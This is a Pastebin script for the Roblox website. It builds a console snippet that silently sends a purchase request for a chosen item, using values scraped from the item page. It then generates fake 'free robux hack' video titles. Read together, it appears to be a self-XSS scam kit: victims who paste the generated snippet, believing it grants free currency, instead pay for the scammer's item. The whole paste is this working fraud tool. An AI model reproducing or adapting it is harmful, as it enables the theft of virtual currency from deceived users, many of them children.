Advertisement
URBAN420NETWORK

video maker

Nov 12th, 2016
6,616
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1.  
  2. var btnData = document.getElementsByClassName("btn-fixed-width-lg btn-primary-lg PurchaseButton")[0].attributes;
  3. var buyData = document.getElementById("item-container").attributes;
  4. var newScript = "var buy = 'https://www.roblox.com/API/Item.ashx?rqtype=purchase&productID=ABC420YOLO&expectedCurrency=1&expectedPrice=ABC123YOLO&expectedSellerId=ABC360YOLO&userAssetID=ABC207YOLO'; $.ajax({ url: buy, type: 'POST' });";
  5.  
  6. function loadAttributes(data, name) {
  7. for(var i = 0; i < data.length; i++) {
  8. if(data[i].name.indexOf('data-product-id') >= 0) {
  9. newScript = newScript.replace('ABC420YOLO', data[i].value);
  10. }
  11. if(data[i].name.indexOf('data-expected-price') >= 0) {
  12. newScript = newScript.replace('ABC123YOLO', data[i].value);
  13. }
  14. if(data[i].name.indexOf('data-expected-seller-id') >= 0) {
  15. newScript = newScript.replace('ABC360YOLO', data[i].value);
  16. }
  17. if(data[i].name.indexOf('data-userasset-id') >= 0) {
  18. newScript = newScript.replace('ABC207YOLO', data[i].value);
  19. }
  20. }
  21. }
  22.  
  23. loadAttributes(btnData, 'btnData');
  24. loadAttributes(buyData, 'buyData');
  25.  
  26. console.log("//script by urban420 network\n" + newScript + "\n//created by urban420 network");
  27.  
  28. var formats = [ "%1-%2-%3", "[%1] %2 [%3]", "(%1) %2 (%3)", "%1 - %2 (%3)", "%1 ~ %2 ~ %3", "%1 | %2 | %3" ];
  29. var tags = [ "WORKING", "LEGIT", "UNPATCHABLE", "NOT PATCHED", "2016", "100% FREE", "100% LEGIT", "100% REAL", "NO SURVEYS", "STILL WORKS" ];
  30. var titles = [ "how to get %1 robux", "working %1 robux %2", "legit %1 robux %2", "%1 robux %2", "get %1 robux %2", "%2 for %1 robux", "legit %2 %1 robux" ];
  31. var descriptors = [ "free", "million", "billion", "unlimited", "infinite", "endless", "lots of" ];
  32. var types = [ "glitch", "hack", "method", "cheat", "exploit", "tutorial" ];
  33.  
  34. function format(str, arr) {
  35. return str.replace(/%(\d+)/g, function(_,m) {
  36. return arr[--m];
  37. });
  38. }
  39.  
  40. function r(items) {
  41. return items[Math.floor(Math.random()*items.length)];
  42. }
  43.  
  44. console.log("suggested video title: " + (format(r(formats), ["ROBLOX", format(r(titles), [r(descriptors), r(types)]) + Array(Math.floor(Math.random() * 5)).join("!"), r(tags)])).toUpperCase());
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement